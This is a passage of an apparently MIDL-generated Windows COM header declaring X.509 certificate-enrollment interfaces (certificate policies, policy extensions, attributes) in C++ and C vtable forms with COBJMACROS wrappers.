STDMETHODCALLTYPE get_Count( \n            /* [retval][out] */ __RPC__out long *pVal) = 0;\n        \n        virtual /* [restricted][helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get__NewEnum( \n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Add( \n            /* [in] */ __RPC__in_opt ICertificatePolicy *pVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Remove( \n            /* [in] */ LONG Index) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Clear( void) = 0;\n        \n    };\n    \n#else \t/* C style interface */\n\n    typedef struct ICertificatePoliciesVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICertificatePolicies * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            __RPC__deref_out  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICertificatePolicies * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICertificatePolicies * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICertificatePolicies * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICertificatePolicies * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICertificatePolicies * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICertificatePolicies * This,\n            /* [in] */ DISPID dispIdMember,\n            /* [in] */ REFIID riid,\n            /* [in] */ LCID lcid,\n            /* [in] */ WORD wFlags,\n            /* [out][in] */ DISPPARAMS *pDispParams,\n            /* [out] */ VARIANT *pVarResult,\n            /* [out] */ EXCEPINFO *pExcepInfo,\n            /* [out] */ UINT *puArgErr);\n        \n        /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ItemByIndex )( \n            __RPC__in ICertificatePolicies * This,\n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt ICertificatePolicy **pVal);\n        \n        /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Count )( \n            __RPC__in ICertificatePolicies * This,\n            /* [retval][out] */ __RPC__out long *pVal);\n        \n        /* [restricted][helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get__NewEnum )( \n            __RPC__in ICertificatePolicies * This,\n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Add )( \n            __RPC__in ICertificatePolicies * This,\n            /* [in] */ __RPC__in_opt ICertificatePolicy *pVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Remove )( \n            __RPC__in ICertificatePolicies * This,\n            /* [in] */ LONG Index);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Clear )( \n            __RPC__in ICertificatePolicies * This);\n        \n        END_INTERFACE\n    } ICertificatePoliciesVtbl;\n\n    interface ICertificatePolicies\n    {\n        CONST_VTBL struct ICertificatePoliciesVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICertificatePolicies_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICertificatePolicies_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICertificatePolicies_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICertificatePolicies_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICertificatePolicies_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICertificatePolicies_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICertificatePolicies_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICertificatePolicies_get_ItemByIndex(This,Index,pVal)\t\\\n    ( (This)->lpVtbl -> get_ItemByIndex(This,Index,pVal) ) \n\n#define ICertificatePolicies_get_Count(This,pVal)\t\\\n    ( (This)->lpVtbl -> get_Count(This,pVal) ) \n\n#define ICertificatePolicies_get__NewEnum(This,pVal)\t\\\n    ( (This)->lpVtbl -> get__NewEnum(This,pVal) ) \n\n#define ICertificatePolicies_Add(This,pVal)\t\\\n    ( (This)->lpVtbl -> Add(This,pVal) ) \n\n#define ICertificatePolicies_Remove(This,Index)\t\\\n    ( (This)->lpVtbl -> Remove(This,Index) ) \n\n#define ICertificatePolicies_Clear(This)\t\\\n    ( (This)->lpVtbl -> Clear(This) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICertificatePolicies_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509ExtensionCertificatePolicies_INTERFACE_DEFINED__\n#define __IX509ExtensionCertificatePolicies_INTERFACE_DEFINED__\n\n/* interface IX509ExtensionCertificatePolicies */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509ExtensionCertificatePolicies;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab320-217d-11da-b2a4-000e7bbb2b09\")\n    IX509ExtensionCertificatePolicies : public IX509Extension\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE InitializeEncode( \n            /* [in] */ __RPC__in_opt ICertificatePolicies *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeDecode( \n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Policies( \n            /* [retval][out] */ __RPC__deref_out_opt ICertificatePolicies **ppValue) = 0;\n        \n    };\n    \n#else \t/* C style interface */\n\n    typedef struct IX509ExtensionCertificatePoliciesVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509ExtensionCertificatePolicies * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            __RPC__deref_out  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509ExtensionCertificatePolicies * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509ExtensionCertificatePolicies * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509ExtensionCertificatePolicies * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509ExtensionCertificatePolicies * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509ExtensionCertificatePolicies * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509ExtensionCertificatePolicies * This,\n            /* [in] */ DISPID dispIdMember,\n            /* [in] */ REFIID riid,\n            /* [in] */ LCID lcid,\n            /* [in] */ WORD wFlags,\n            /* [out][in] */ DISPPARAMS *pDispParams,\n            /* [out] */ VARIANT *pVarResult,\n            /* [out] */ EXCEPINFO *pExcepInfo,\n            /* [out] */ UINT *puArgErr);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509ExtensionCertificatePolicies * This,\n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ObjectId )( \n            __RPC__in IX509ExtensionCertificatePolicies * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IX509ExtensionCertificatePolicies * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Critical )( \n            __RPC__in IX509ExtensionCertificatePolicies * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Critical )( \n            __RPC__in IX509ExtensionCertificatePolicies * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeEncode )( \n            __RPC__in IX509ExtensionCertificatePolicies * This,\n            /* [in] */ __RPC__in_opt ICertificatePolicies *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in IX509ExtensionCertificatePolicies * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Policies )( \n            __RPC__in IX509ExtensionCertificatePolicies * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICertificatePolicies **ppValue);\n        \n        END_INTERFACE\n    } IX509ExtensionCertificatePoliciesVtbl;\n\n    interface IX509ExtensionCertificatePolicies\n    {\n        CONST_VTBL struct IX509ExtensionCertificatePoliciesVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509ExtensionCertificatePolicies_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509ExtensionCertificatePolicies_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509ExtensionCertificatePolicies_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509ExtensionCertificatePolicies_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509ExtensionCertificatePolicies_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509ExtensionCertificatePolicies_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509ExtensionCertificatePolicies_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509ExtensionCertificatePolicies_Initialize(This,pObjectId,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> Initialize(This,pObjectId,Encoding,strEncodedData) ) \n\n#define IX509ExtensionCertificatePolicies_get_ObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ObjectId(This,ppValue) ) \n\n#define IX509ExtensionCertificatePolicies_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n#define IX509ExtensionCertificatePolicies_get_Critical(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Critical(This,pValue) ) \n\n#define IX509ExtensionCertificatePolicies_put_Critical(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Critical(This,Value) ) \n\n\n#define IX509ExtensionCertificatePolicies_InitializeEncode(This,pValue)\t\\\n    ( (This)->lpVtbl -> InitializeEncode(This,pValue) ) \n\n#define IX509ExtensionCertificatePolicies_InitializeDecode(This,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,Encoding,strEncodedData) ) \n\n#define IX509ExtensionCertificatePolicies_get_Policies(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_Policies(This,ppValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509ExtensionCertificatePolicies_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509ExtensionMSApplicationPolicies_INTERFACE_DEFINED__\n#define __IX509ExtensionMSApplicationPolicies_INTERFACE_DEFINED__\n\n/* interface IX509ExtensionMSApplicationPolicies */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509ExtensionMSApplicationPolicies;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab321-217d-11da-b2a4-000e7bbb2b09\")\n    IX509ExtensionMSApplicationPolicies : public IX509Extension\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE InitializeEncode( \n            /* [in] */ __RPC__in_opt ICertificatePolicies *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeDecode( \n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Policies( \n            /* [retval][out] */ __RPC__deref_out_opt ICertificatePolicies **ppValue) = 0;\n        \n    };\n    \n#else \t/* C style interface */\n\n    typedef struct IX509ExtensionMSApplicationPoliciesVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509ExtensionMSApplicationPolicies * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            __RPC__deref_out  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509ExtensionMSApplicationPolicies * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509ExtensionMSApplicationPolicies * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509ExtensionMSApplicationPolicies * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509ExtensionMSApplicationPolicies * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509ExtensionMSApplicationPolicies * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509ExtensionMSApplicationPolicies * This,\n            /* [in] */ DISPID dispIdMember,\n            /* [in] */ REFIID riid,\n            /* [in] */ LCID lcid,\n            /* [in] */ WORD wFlags,\n            /* [out][in] */ DISPPARAMS *pDispParams,\n            /* [out] */ VARIANT *pVarResult,\n            /* [out] */ EXCEPINFO *pExcepInfo,\n            /* [out] */ UINT *puArgErr);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509ExtensionMSApplicationPolicies * This,\n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ObjectId )( \n            __RPC__in IX509ExtensionMSApplicationPolicies * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IX509ExtensionMSApplicationPolicies * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Critical )( \n            __RPC__in IX509ExtensionMSApplicationPolicies * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Critical )( \n            __RPC__in IX509ExtensionMSApplicationPolicies * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeEncode )( \n            __RPC__in IX509ExtensionMSApplicationPolicies * This,\n            /* [in] */ __RPC__in_opt ICertificatePolicies *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in IX509ExtensionMSApplicationPolicies * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Policies )( \n            __RPC__in IX509ExtensionMSApplicationPolicies * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICertificatePolicies **ppValue);\n        \n        END_INTERFACE\n    } IX509ExtensionMSApplicationPoliciesVtbl;\n\n    interface IX509ExtensionMSApplicationPolicies\n    {\n        CONST_VTBL struct IX509ExtensionMSApplicationPoliciesVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509ExtensionMSApplicationPolicies_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509ExtensionMSApplicationPolicies_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509ExtensionMSApplicationPolicies_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509ExtensionMSApplicationPolicies_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509ExtensionMSApplicationPolicies_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509ExtensionMSApplicationPolicies_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509ExtensionMSApplicationPolicies_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509ExtensionMSApplicationPolicies_Initialize(This,pObjectId,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> Initialize(This,pObjectId,Encoding,strEncodedData) ) \n\n#define IX509ExtensionMSApplicationPolicies_get_ObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ObjectId(This,ppValue) ) \n\n#define IX509ExtensionMSApplicationPolicies_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n#define IX509ExtensionMSApplicationPolicies_get_Critical(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Critical(This,pValue) ) \n\n#define IX509ExtensionMSApplicationPolicies_put_Critical(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Critical(This,Value) ) \n\n\n#define IX509ExtensionMSApplicationPolicies_InitializeEncode(This,pValue)\t\\\n    ( (This)->lpVtbl -> InitializeEncode(This,pValue) ) \n\n#define IX509ExtensionMSApplicationPolicies_InitializeDecode(This,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,Encoding,strEncodedData) ) \n\n#define IX509ExtensionMSApplicationPolicies_get_Policies(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_Policies(This,ppValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509ExtensionMSApplicationPolicies_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509Attribute_INTERFACE_DEFINED__\n#define __IX509Attribute_INTERFACE_DEFINED__\n\n/* interface IX509Attribute */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509Attribute;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab322-217d-11da-b2a4-000e7bbb2b09\")\n    IX509Attribute : public IDispatch\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE Initialize( \n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_ObjectId( \n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_RawData( \n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n    };\n    \n#else \t/* C style interface */\n\n    typedef struct IX509AttributeVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509Attribute * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            __RPC__deref_out  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509Attribute * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509Attribute * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509Attribute * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509Attribute * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509Attribute * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509Attribute * This,\n            /* [in] */ DISPID dispIdMember,\n            /* [in] */ REFIID riid,\n            /* [in] */ LCID lcid,\n            /* [in] */ WORD wFlags,\n            /* [out][in] */ DISPPARAMS *pDispParams,\n            /* [out] */ VARIANT *pVarResult,\n            /* [out] */ EXCEPINFO *pExcepInfo,\n            /* [out] */ UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509Attribute * This,\n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ObjectId )( \n            __RPC__in IX509Attribute * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IX509Attribute * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        END_INTERFACE\n    } IX509AttributeVtbl;\n\n    interface IX509Attribute\n    {\n        CONST_VTBL struct IX509AttributeVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509Attribute_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509Attribute_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509Attribute_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509Attribute_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509Attribute_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509Attribute_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509Attribute_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509Attribute_Initialize(This,pObjectId,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> Initialize(This,pObjectId,Encoding,strEncodedData) ) \n\n#define IX509Attribute_get_ObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ObjectId(This,ppValue) ) \n\n#define IX509Attribute_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509Attribute_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509Attributes_INTERFACE_DEFINED__\n#define __IX509Attributes_INTERFACE_DEFINED__\n\n/* interface IX509Attributes */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509Attributes;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab323-217d-11da-b2a4-000e7bbb2b09\")\n    IX509Attributes : public IDispatch\n    {\n    public:\n        virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_ItemByIndex( \n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt IX509Attribute **pVal) = 0;\n        \n        virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_Count( \n            /* [retval][out] */ __RPC__out long *pVal) = 0;\n        \n        virtual /* [restricted][helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get__NewEnum( \n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Add( \n            /* [in] */ __RPC__in_opt IX509Attribute *pVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Remove( \n            /* [in] */ LONG Index) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Clear( void) = 0;\n        \n    };\n    \n#else \t/* C style interface */\n\n    typedef struct IX509AttributesVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509Attributes * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            __RPC__deref_out  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509Attributes * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509Attributes * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509Attributes * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509Attributes * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509Attributes * This,\n            /* [in] */ __RPC__in 